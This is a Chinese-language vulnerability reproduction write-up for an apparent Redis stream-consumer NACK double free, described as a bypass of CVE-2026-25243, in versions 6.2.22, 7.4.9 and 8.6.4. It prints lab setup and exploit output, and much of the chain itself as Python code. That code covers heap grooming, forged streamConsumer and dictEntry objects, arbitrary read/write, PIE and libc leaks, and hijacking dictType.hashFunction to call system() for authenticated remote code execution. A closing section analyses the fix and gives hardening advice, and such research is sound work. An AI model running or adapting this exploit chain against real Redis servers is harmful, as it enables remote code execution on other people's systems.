漏洞描述

Redis 在加载 RDB 格式的流(Stream)数据时,消费者组的 PEL(Pending Entries List)中存在一个对象共享问题:当两个消费者引用同一条 PEL 记录时,底层 streamNACK 结构体会被两个消费者共享同一块内存,而不是各自持有独立副本。随后的 XGROUP DELCONSUMER 操作会先后两次释放同一个 streamNACK 块,形成堆上的双重释放(Double Free)。

这个漏洞是 CVE-2026-25243 的补丁绕过变种。原始 CVE-2026-25243 的修复方案没有完全解决消费者 NACK 共享的根本问题——RDB 加载时仍然允许不同消费者引用相同的 NACK 对象。攻击者通过精心构造的 RDB 流数据,配合 jemalloc 堆分配器的 tcache 机制,可以实现任意地址读写,最终通过劫持 dictType 的 hashFunction 函数指针执行任意系统命令。

受影响版本:

  • Redis 6.2.22(RDB v9,jemalloc tcache bin24)
  • Redis 7.4.9(RDB v12,jemalloc 5.3.0 tcache bin24)
  • Redis 8.6.4(RDB v13,jemalloc 5.3.0 tcache bin64)

非受影响版本:

  • Redis 8.8.0 及以上(PR #15081 重构了相关代码路径,从根本上阻断了此攻击面)

利用前提:攻击者需要持有有效的 Redis 认证凭据(requirepass),且目标开放了 EVAL、RESTORE、XGROUP 命令。值得注意的是,漏洞利用全程不需要 DEBUG OBJECT 命令——所有地址泄露均通过 Lua 的 tostring 函数闭包实现。

环境搭建

整体架构

测试环境由三台独立 Redis 容器组成,分别对应三个受影响版本。利用脚本在 WSL 中运行(需要 Linux 环境编译 libcrc64.so 共享库),通过宿主机 127.0.0.1 回环地址攻击容器暴露的 Redis 端口。

宿主机 (Windows 11 + Docker Desktop)
  ├── redis-6222 (port 16379)  ← Redis 6.2.22
  ├── redis-749  (port 16380)  ← Redis 7.4.9
  ├── redis-864  (port 16381)  ← Redis 8.6.4
  └── WSL (Ubuntu 24.04)
        ├── libcrc64.so (gcc 编译)
        └── Python 3.12.3 + exploit scripts

目录结构

redis-poc/
├── A_exploit_stock.py    # 6.2.22 利用脚本(全链路,非破坏性)
├── A_lib.py              # 共享库:RESP 协议、RDB 载荷构造、CRC64
├── G2_arbread.py         # G2 阶段:单释放 UAF → 任意读 → PIE 泄露
├── P74_exploit.py        # 7.4.9 利用脚本
├── P74_g2.py             # 7.4.9 G2 阶段辅助
├── P74_loop.sh           # 7.4.9 启动重试脚本
├── P86_exploit.py        # 8.6.4 利用脚本
├── P86_run.sh            # 8.6.4 启动重试脚本
├── crc64.c / crc64.h     # CRC64 源码(Redis RDB 校验)
├── crcspeed.c / crcspeed.h
├── calibrate.sh          # 偏移量校准脚本
├── HARDENING.md          # 非破坏性保证文档
└── README.md

编译 CRC64 共享库

利用脚本在构造 RDB 载荷时需要计算 CRC64 校验和,因此需要先编译 libcrc64.so:

cd redis-poc/
gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c

这里踩了个坑:一开始直接在 Windows 上用 python 执行利用脚本,提示 [WinError 193] 无法加载 libcrc64.so。原因是 WSL 里的 gcc 编译出来的是 Linux ELF 格式,Windows Python 的 ctypes.CDLL 无法加载。最终统一在 WSL 中运行 Python 脚本,WSL 可以通过 127.0.0.1 直接访问 Docker Desktop 暴露的端口,网络是通的。

部署 Redis 容器

三个版本的 Redis 通过 Docker 一键部署,统一使用 exploitme 作为认证密码:

# Redis 6.2.22
docker run -d --name redis-6222 -p 16379:6379 redis:6.2.22 \
    redis-server --requirepass exploitme

# Redis 7.4.9
docker run -d --name redis-749 -p 16380:6379 redis:7.4 \
    redis-server --requirepass exploitme

# Redis 8.6.4
docker run -d --name redis-864 -p 16381:6379 redis:8.6 \
    redis-server --requirepass exploitme

这里也要注意一个细节:测试 7.4.9 和 8.6.4 时,不需要加 --enable-debug-command yes。利用脚本已经实现了完全不依赖 DEBUG OBJECT 的地址泄露方案,使用的是 Lua tostring(string.format) 返回的 C 闭包地址作为 PIE 锚点。这一点很关键——意味着即使在生产环境默认配置(关闭 DEBUG 命令)下,漏洞依然可被利用。

验证三台实例均正常响应:

$ docker exec redis-6222 redis-cli -a exploitme PING
PONG
$ docker exec redis-749 redis-cli -a exploitme PING
PONG
$ docker exec redis-864 redis-cli -a exploitme PING
PONG

漏洞复现

以 Redis 6.2.22 为例,完整利用链路如下:

Step 1:执行利用脚本

cd redis-poc/
python3 A_exploit_stock.py 127.0.0.1 16379 exploitme "id > /data/pwned_stock"

关键输出:

[*] connected to 127.0.0.1:16379
[*] save='3600 1 300 100 60 10000' slowlog='10000'
[*] string.format CClosure @ 0x5bd5b04757f0       ← 泄露 Lua 闭包地址

[*] attempt j=0 try=0 -> win                       ← G2 阶段:单释放 UAF 成功
[*] double free: shared dictEntry victim = k001     ← A 阶段:双重释放命中
[+] BUF sds S=0x7b0a8155b005 j=171                 ← BUF 基址确定
[+] fake entry live: k001 -> fake RAW robj          ← 假 dictEntry 就位

[+] PIE base = 0x5bd597133000                       ← 泄露 PIE 基址
[+] libc base = 0x7b0a81809000                      ← 泄露 libc 基址

[*] server.db = 0x7b0a81504000
[+] db[0].dict = 0x7b0a8140b420 (verified)          ← db[0].dict 地址验证通过
[+] empty db dict = 0x7b0a8140b600 (verified)       ← 找到一个空 db 的 dict

[+] fake dictType at 0x7b0a8155b1a0 (BUF+411)       ← 假 dictType 就位
[*] poisoning empty db dict->type ...                ← 劫持 dict->type 指针
[*] TRIGGER: GET 'id > /data/pwned_stock'           ← 触发 system()

[+] trigger fired (last reply None)                  ← RCE 执行完成
[*] restoring db[1].dict->type ...                   ← 恢复原始 type 指针
[+] db[1].dict->type restored                       ← 服务器恢复正常

[*] cleanup: deleted 1279 keys                      ← 清理 groom 键
[+] CHAIN COMPLETE — RCE fired, target restored & functional

整条链路在约 3-5 秒内完成,服务器在利用结束后完全正常。

Step 2:验证 RCE 效果

$ docker exec redis-6222 cat /data/pwned_stock
uid=999(redis) gid=999(redis) groups=999(redis)

id 命令的输出被成功写入 /data/pwned_stock,确认代码执行上下为 redis 用户。

Step 3:验证服务器正常运行

$ docker exec redis-6222 redis-cli -a exploitme SET test_key "hello"
OK
$ docker exec redis-6222 redis-cli -a exploitme GET test_key
"hello"
$ docker exec redis-6222 redis-cli -a exploitme DBSIZE
(integer) 22

SET/GET/DBSIZE 均正常,服务器在利用后保持完整功能。HARDENING.md 中记录的残留键(k001、BUF 等)占约 21-22 个,属于惰性残留——删除它们反而会触发二次释放导致堆破坏。

Redis 7.4.9 复现

7.4.9 的利用链路与 6.2.22 原理一致,但有一些工程差异:堆喷策略从 "key-name sdsdup + dictEntry" 变为 "纯 APPEND 无 transient robj";RCE 入口从 db->dict->type 变为 server.commands->type;恢复手段从内存写入变为 /proc/1/mem 直接写回。

$ python3 P74_exploit.py 127.0.0.1 16380 exploitme "id > /data/pwned74"
[+] fake dictType at 0x71487a48f1e0, hashFunction=system=0x71487b145490
[+] server.commands->type poisoned -> 0x71487a48f1e0
[*] TRIGGER: 'id > /data/pwned74'
...
$ docker exec redis-749 cat /data/pwned74
uid=999(redis) gid=999(redis) groups=999(redis)

命令执行成功。不过在本次测试环境中,/proc/1/mem 写回恢复步骤失败了(容器内 ptrace_scope 限制),导致服务器在利用后不可用。但在满足 ptrace_scope=0 的环境中,7.4.9 同样可以实现完全非破坏性利用。

漏洞分析

根因:RDB 流加载时的 NACK 对象共享

漏洞的根源在 Redis 的 RDB 加载路径中。当 Redis 加载一个包含消费者组的流数据时(RDB type 15 或 19),rdb.c 中的加载逻辑会为 PEL 中的每条记录创建 streamNACK 结构体。关键问题在于:当多个消费者列出同一条 PEL 记录时,代码没有检查 NACK 是否已经被前一个消费者创建过,而是直接复用了同一个对象引用。

用 RDB 载荷构造的视角来看,恶意流数据的结构如下:

RDB_TYPE_STREAM_LISTPACKS (0x0F 或 0x13)
  ├── listpacks: 空(不需要实际消息)
  ├── stream length: 0
  ├── last_id: 0-0
  ├── consumer groups count: 1
  │   └── group "g" (或 "group1")
  │       ├── last_id: 0-0
  │       ├── global PEL size: 1
  │       │   └── entry: rawid(0x01 0x00*15), mstime, delivery_count=1
  │       └── consumers count: 2
  │           ├── consumer "A" (alice)
  │           │   ├── seen_time: mstime
  │           │   └── PEL: 1 entry → rawid(0x01 0x00*15)  ← 同一个 rawid
  │           └── consumer "B" (bobxx)
  │               ├── seen_time: mstime
  │               └── PEL: 1 entry → rawid(0x01 0x00*15)  ← 同一个 rawid
  └── CRC64 checksum

消费者 A 和 B 的 PEL 里引用的是同一条 rawid。在 rdb.c 加载消费者 PEL 时,会调用 streamLookupNACK 或类似逻辑查找是否已存在该 rawid 的 NACK。但查找范围是全局 PEL 而非消费者本地——当消费者 A 先加载时创建了 NACK C,消费者 B 加载同一 rawid 时,查找命中全局 PEL 中的 C,直接将其挂到 B 的 PEL 上。此时 C 被两个消费者共享。

此时调用 XGROUP DELCONSUMER s g A,Redis 释放 A 的 PEL 中的 NACK C。但 B 的 PEL 仍然持有指向 C 的悬空指针(Use-After-Free)。紧接着调用 XGROUP DELCONSUMER s g B,Redis 会再次释放 C——形成双重释放。

完整利用链拆解

整个利用链可以拆解为 6 个阶段,每一阶段都依赖上一阶段的输出。

阶段 1(G2):单释放 UAF → 假 streamConsumer → 任意读

这一阶段的目标是获取一个稳定的内存任意读原语,用来泄露二进制地址。

  1. 构造流数据注入(RESTORE),使消费者 alice 和 bobxx 共享 NACK C(24 字节,tcache bin24)
  2. XGROUP DELCONSUMER alice 释放 C
  3. 堆喷:用 SETEX 创建 44 字节的 embstr 值(分配 64 字节 tcache bin),内容里嵌入了一个假的 streamConsumer 结构。其中 consumer->name 字段(偏移 +8 处)被设为目标读取地址
  4. 通过 XINFO STREAM FULL 的 delivery_count 字段(chunk[8:16])无副作用地探测是否命中 C:如果 delivery_count 等于 magic marker 值,说明我们的 key sds 落在了 C 上
  5. 一旦确认命中,XPENDING 命令会读取 nack->consumer->name,而我们已经将 consumer 伪造成目标地址。XPENDING 的响应中就会包含目标地址处的内存内容

这里的关键技巧是用 XINFO STREAM FULL 先做非破坏性探测,确认命中后才触发真正的 XPENDING 读取。XINFO 不会解引用 nack->consumer 指针,所以即使 consumer 是无效地址也不会崩溃。

代码实现(G2_arbread.py):

# 假 streamConsumer 在 embstr 中的布局(偏移量 P = obj_addr + 19)
content = b"J" * 8            # chunk[0:8]  junk
content += struct.pack("<Q", L) # chunk[8:16] consumer->name = 目标地址 L
content += b"P" * 28           # padding

# XINFO FULL 探测(不触发 consumer 解引用)
cnt = xinfo_count(r, s, skey)  # 读取 chunk[8:16] 的 delivery_count
if cnt == MARKER_VALUE:
    # C 被我们的 key sds 占据,nack->consumer = P
    # XPENDING 将返回 *(P+8) = *(L) = 目标地址处的内存
    rep = cmd(r, s, "XPENDING", skey, "group1", "-", "+", "10", "bobxx")
    leak = rep[0][1]  # 目标地址的原始字节

阶段 2(A 阶段):双重释放 → 假 dictEntry → GETRANGE 任意读

第一阶段得到了 G2 的任意读通道(通过 XPENDING 回显),但它的读取长度受 sds 前缀限制(最多 255 字节),且无法写入。第二阶段利用双重释放建立一个更强大的任意读写原语。

  1. 多次 RESTORE + XGROUP DELCONSUMER A + XGROUP DELCONSUMER B 触发双重释放
  2. 堆喷 16 个 22 字符的 key,每个 key 在 SET 时会做 sdsdup(key_name) → 24 字节(sds header 1B + key 22B + NUL 1B)。两次从 tcache bin24 弹出:第一次是 sdsdup(受控),第二次是 dictEntry(不受控)
  3. 通过 GET 探测哪个 key 的 OBJECT ENCODING 变成了 raw(正常情况下 5 字节的 "vvvvv" 是 embstr 编码)。raw 编码说明该 key 的值 robj 被篡改了——说明这个 key 的 dictEntry 和 sds 共享了同一块内存 C
  4. 在另一个 key(BUF)的 sds 内容中构造假的 dictEntry、假 RAW robj、假 sds。假 dictEntry 的 key 指针指向 BUF 内容中的假 key sds,val 指针指向 BUF 内容中的假 robj
  5. SETRANGE BUF 写入假对象内容后,GET 受害 key 时会沿着假 dictEntry → 假 robj → 假 sds 的路径返回数据。而假 robj 的 ptr 是可控的 → 修改 ptr 就控制了任意读的目标地址

代码实现(A_exploit_stock.py FakeEntry 类):

class FakeEntry:
    M = 300          # 假 robj 在 BUF 中的偏移
    N = 320          # 假 sds 在 BUF 中的偏移
    T_DT = 384       # 假 dictType 在 BUF 中的偏移

    def plant(self):
        # 假 RAW robj: type=0(str), enc=0(raw), refcount=1, ptr=S+N
        r.cmd("SETRANGE", self.buf, str(self.M),
              b"\x00" * 4 + struct.pack("<I", 1) + struct.pack("<Q", S + self.N))
        # 假 sds: len=255, alloc=255, flags=1 (type5)
        r.cmd("SETRANGE", self.buf, str(self.N), bytes([255, 255, 1]))
        # 假 dictEntry (22 字节 key name): key=S+j, val=S+M, next=NULL
        name = struct.pack("<Q", S + j)[1:8] \
            + struct.pack("<Q", S + self.M) + b"\x00" * 7
        r.pipe([("PING",), ("DEL", self.k5), ("SET", name, "vvvvv")])

    def read_at(self, ptr):
        """重定向假 robj 的 ptr → 读取任意地址内容"""
        self.r.cmd("SETRANGE", self.buf, str(self.M + 8),
                   struct.pack("<Q", ptr))
        return self.r.cmd("GETRANGE", self.k1, "0", "127")

这里的核心技巧是利用了 jemalloc tcache 的 LIFO 行为:双重释放后 C 被压入 tcache bin24 两次,后续两次同大小的分配会返回同一个地址。第一次分配(partner key 的 dictEntry)和第二分配(受害 key 的 sdsdup)共享 C,两者互不干扰——受害 key 的 GET 仍然能读到正确的内容,但 partner key 的删除会连带修改受害 key 的 dictEntry 字段。

阶段 3:泄露 PIE、libc、db 指针

有了任意读原语后,地址泄露变得直接:

# 泄露 PIE 基址:读取 string.format CClosure 的 .text 指针
closure = int(str(r.cmd("EVAL", "return tostring(string.format)", "0"))
               .split("0x")[1].rstrip("' ").strip(), 16)
f = fe.read_q(closure + 32)  # CClosure->f = str_format 的函数指针
pie = f - STR_FORMAT_OFF     # PIE 基址

# 泄露 libc 基址:读取 write@GOT
w = fe.read_q(pie + GOT_WRITE_OFF)  # GOT 表中的 write 地址
libc = w - LIBC_WRITE_OFF           # libc 基址

# 泄露 db[0].dict:从 server.db 指针链读取
dbarr = fe.read_q(pie + SERVER_OFF + 0x40)  # server.db
D = read_ptr_at(fe, dbarr)                   # db[0].dict

值得注意的是 read_ptr_at 函数的实现:Redis 中的指针(dict* 等)是 8 字节对齐的,byte0 的低 3 位始终为 0。如果这个地址被当作 sds header 解析,且 byte0 的值(如 0xa0)能形成有效的 type-5 sds header(0xa0 >> 3 = 20,即长度为 20),那么 GETRANGE 通过这个地址时会返回恰好 20 字节的数据——这正是 dbDictType 指针的字节 1-7 加上其后的 13 字节内容。exploit 利用这个精确的返回值来验证读取的确实是 dbDictType,避免了在无效地址上写入导致崩溃。

阶段 4:db dict 类型劫持 → RCE

这是整个利用链的最终阶段——将任意读写升级为代码执行。

  1. 在 BUF 中找到合适的偏移量 off,使得 (S + off) & 0xFF == orig_type & 0xFF(即 0xa0)。这个约束确保假 dictType 的字节 0 与原始 dictType 的字节 0 相同——这样 dict->type 指针被覆写时,字节 0 不变,SETRANGE 写入只改字节 1-7,不会破坏 sds header 的有效性
  2. 在 BUF 的 off 位置构造假 dictType 结构体:hashFunction = system,keyCompare = dictSdsKeyCompare(保留原始比较函数,避免破坏正常键查找逻辑)
  3. 在 db 数组中找到第一个空数据库的 dict(used == 0),将其 type 指针覆写为指向假 dictType
  4. 切换到目标数据库,先 SET dummykey x,再 GET <恶意命令>。由于 dictFind 在 used == 0 时短路(直接返回 NULL 而不计算 hash),需要先 SET 一个键使 used > 0
  5. GET <恶意命令> 触发 dictFind → dictHashKey(ht, "<恶意命令>") → ht->type->hashFunction("<恶意命令>") → system("<恶意命令>")

代码实现(A_exploit_stock.py stage4):

def stage4(fe, libc, pie, D, trigger, dbarr):
    system = libc + LIBC_SYSTEM_OFF
    orig_type = pie + DB_DICTTYPE_OFF

    # 在 BUF 中找到 byte0 匹配的偏移量
    low = orig_type & 0xFF  # 0xa0
    for o in range(fe.T_DT, 640 - 56):
        if (S + o) & 0xFF == low:
            off = o; break

    C = S + off
    # 假 dictType: hashFunction=system, keyCompare=dictSdsKeyCompare
    entry = struct.pack("<Q", system) + b"\x00" * 16 \
        + struct.pack("<Q", pie + DICTSDSKEYCOMPARE_OFF) + b"\x00" * 24
    r.cmd("SETRANGE", fe.buf, str(off), entry)

    # 毒化空 db 的 dict->type(写字节 1-7,字节 0 保持 0xa0)
    fe.write(D1 + 1, struct.pack("<Q", C)[1:8])

    # 触发:SET 使 db 非空→GET 触发 hashFunction→system(cmd)
    for j in range(1, 16):
        r.cmd("SELECT", str(j))
        r.cmd("SET", "dummykey", "x")
        rep = r.cmd("GET", trigger)  # 只有在被毒化的 db 中才会触发 system()
        r.cmd("DEL", "dummykey")

    # 恢复:写回原始 type 指针的字节 1-7
    fe.write(D1 + 1, struct.pack("<Q", orig_type)[1:8])

这一步有几个精妙的设计:

  • byte0 保留技巧:dictType* 是 8 字节对齐的,byte0 的低 3 位必为 0。只要假 dictType 的地址与原始 type 的 byte0 相同,7 字节写入就足够完成指针替换,同时 byte0 作为 sds header 保持有效
  • 空 db 选择:选择 used == 0 的数据库而不是 db0,因为 db0 承载着假 dictEntry 读写通道,劫持 db0 会破坏后续的恢复写入
  • 非破坏性:整个过程不释放任何 dict 结构、不修改 dict table,只替换了 dictType 指针的 7 个字节并在触发后恢复。写入验证是通过 verify_dict_type 函数在每次写入后确认指针内容正确

阶段 5:清理与恢复

利用完成后,exploit 执行清理:

def cleanup(r, fe, save_cfg, slow_cfg, floor=0):
    doomed = ["s"]  # 流键
    doomed += ["pre%04d" % i for i in range(1000)]  # 预填充键
    doomed += ["t%03d" % i for i in range(200)]     # 堆喷键
    doomed += ["u%03d" % i for i in range(200)]     # 堆喷键
    doomed += ["adj%02d" % i for i in range(64)]    # 调节键
    # 批量 DEL,避免单个删除触发 dict rehash
    for i in range(0, len(doomed), 64):
        reps = r.pipe([("DEL", k) for k in doomed[i:i + 64]])

    # 恢复配置
    r.cmd("CONFIG", "SET", "save", save_cfg)
    r.cmd("CONFIG", "SET", "slowlog-log-slower-than", slow_cfg)

部分键(k001、22 字符二进制名键、BUF、streamkey*、fck、marker 键)被刻意保留。文档(HARDENING.md)解释了原因:这些键的 sds 内部包含假对象指针,删除它们会触发释放内部假地址 → 二次释放 → jemalloc 破坏 → 延迟崩溃(dictRehash 的 0x12 断言)。这是一个"惰性残留胜于主动破坏"的务实选择。

调用链全景

从攻击者视角,完整的调用链可以归纳为:

RESTORE (恶意 RDB)
  → rdb.c:rdbLoadStreamPEL() 创建共享 streamNACK
  → consumer A 和 B 的 PEL 引用同一 NACK 对象

XGROUP DELCONSUMER A
  → t_stream.c:streamFreeNACK() → zfree(C)  [第一次释放]
  → B 的 PEL 仍持有悬空指针

XGROUP DELCONSUMER B
  → t_stream.c:streamFreeNACK() → zfree(C)  [第二次释放,Double Free]
  → jemalloc tcache: C 被推入 bin 两次

Stage 1 (G2): 堆喷 → sdsdup 占据 C → C[16:24] = &fake_consumer
  → XINFO STREAM FULL: 无副作用探测 delivery_count 确认命中
  → XPENDING: nack->consumer->name = *(fake_consumer+8) = 任意读

Stage 2 (A): 新一轮双重释放 → 堆喷两个 22 字节 key
  → 第一次分配(partner sdsdup) 和第二次分配(victim dictEntry) 共享 C
  → 假 dictEntry 嵌入 BUF sds → GETRANGE victim = 任意读通道建立

Stage 3: 任意读 → PIE(lua CClosure) → libc(GOT) → db[0].dict

Stage 4: BUF 中构造假 dictType(hashFunction=system)
  → dict->type 覆写为假 dictType 地址
  → SELECT empty_db → SET dummykey(used>0) → GET <cmd>
  → dictFind: dictHashKey(ht, cmd) → ht->type->hashFunction(cmd)
  → system(cmd) → RCE
  → 写回原始 type 指针 → 服务器恢复正常

8.6.4 的差异

8.6.4 版本的利用在本次测试中未能在 10 次重试中成功。分析其代码发现主要差异:

  • chunk 大小变化:streamNACK 结构从 24 字节变为 64 字节(tcache bin64),因为 8.6 中在 NACK 里增加了额外字段
  • RDB 格式变化:RDB 版本升级到 v13,流类型使用 type 19(RDB_TYPE_STREAM_LISTPACKS_2),增加了 first_id、max_deleted_entry_id、entries_added、entries_read 等新字段
  • RCE 路径不同:8.6 利用 db->dict->type 内联的 kvstoreType(偏移 +8 处,byte0=0x60)进行覆写。hashFunction 替换后通过一个 jmp *0x78(%rdi) 的 ROP gadget(hdr_iter_next)来确保 system() 能干净返回到 dictHashKey 的调用者,避免栈帧问题
  • 堆喷策略不同:使用 SETEX(61 字节 kvobj-with-expire)+ APPEND(60 字节 sds)两个 64-class 分配竞争同一个 chunk。失败的可能原因是 Docker Desktop 在 Windows 上的 jemalloc arena 布局与标准 Linux 环境存在细微差异,导致 LIFO 顺序预测失败

踩坑记录

环境搭建和测试过程中遇到几个典型问题:

坑 1:libcrc64.so 跨平台加载失败

最初直接在 Windows PowerShell 中运行 python A_exploit_stock.py,遇到 OSError: [WinError 193] %1 不是有效的 Win32 应用程序。原因是 WSL 中编译的 .so 是 ELF 格式,Windows Python 无法加载。解决方案是完整迁移到 WSL 环境运行 Python 脚本和 exploit。

坑 2:Docker Desktop 网络连通性

WSL 中的 Python 脚本通过 127.0.0.1 能直接访问 Docker 暴露的端口,不需要用 host.docker.internal 或 172.17.0.1。这是 Docker Desktop 在 WSL2 模式下的默认行为——端口映射会同时绑定到 Windows host 和 WSL2 VM 的 localhost。

坑 3:8.6.4 利用成功率

连续 10 次重试均失败在 "plant never aliased" 阶段。怀疑是 Docker Desktop Windows 版本的 Linux VM 内核/jemalloc 与标准 Linux 的堆布局有差异。虽然 README 声称 85-100% 成功率,但那是基于标准 Linux Docker(非 Docker Desktop)。如果要在 Windows 上复现 8.6.4,可能需要直接用 Linux 物理机或虚拟机。

坑 4:Redis 7.4.9 的 post-RCE 恢复

7.4.9 的利用使用 /proc/1/mem 写回原始 type 指针来恢复服务器。但在默认 Docker 容器中,/proc/1/mem 的写入权限受 ptrace_scope 限制。虽然 RCE 本身成功执行(id 命令写入文件),但服务器后续不可用。可以通过添加 --cap-add=SYS_PTRACE 启动容器来解决。

总结

这个漏洞展示了一条极为精妙的 jemalloc 堆利用链:从流消费者的 NACK 对象共享(逻辑漏洞)出发,经过双重释放(内存破坏)、假对象构造(UAF → type confusion)、逐级地址泄露(PIE → libc → 数据结构),最终通过函数指针劫持(dictType.hashFunction → system)实现认证后的远程代码执行。

从防御视角来看,关键修复点是让 RDB 加载路径中的 NACK 创建逻辑检测并拒绝 PEL 条目共享——即每个消费者的 NACK 必须是独立副本。Redis 8.8.0 通过 PR #15081 重构了相关代码,从架构层面消除了共享 NACK 的可能性。

对于安全研究者而言,这个案例也说明了一个更普遍的规律:堆漏洞的"补丁绕过"往往不是绕过修复逻辑本身,而是找到了原有攻击面中修复方案未覆盖的代码路径。原始 CVE-2026-25243 的补丁可能只修复了某个特定的 NACK 共享场景,但 RDB 加载路径中的共享问题依然存在。

加固建议:

  • 升级 Redis 至 8.8.0 或以上版本
  • 如无法升级,使用 ACL 限制 RESTORE、XGROUP、EVAL 等高危命令的访问范围
  • 启用 rename-command 重命名或禁用不必要的管理命令
  • 配置强密码认证,并限制 Redis 端口仅对可信网络开放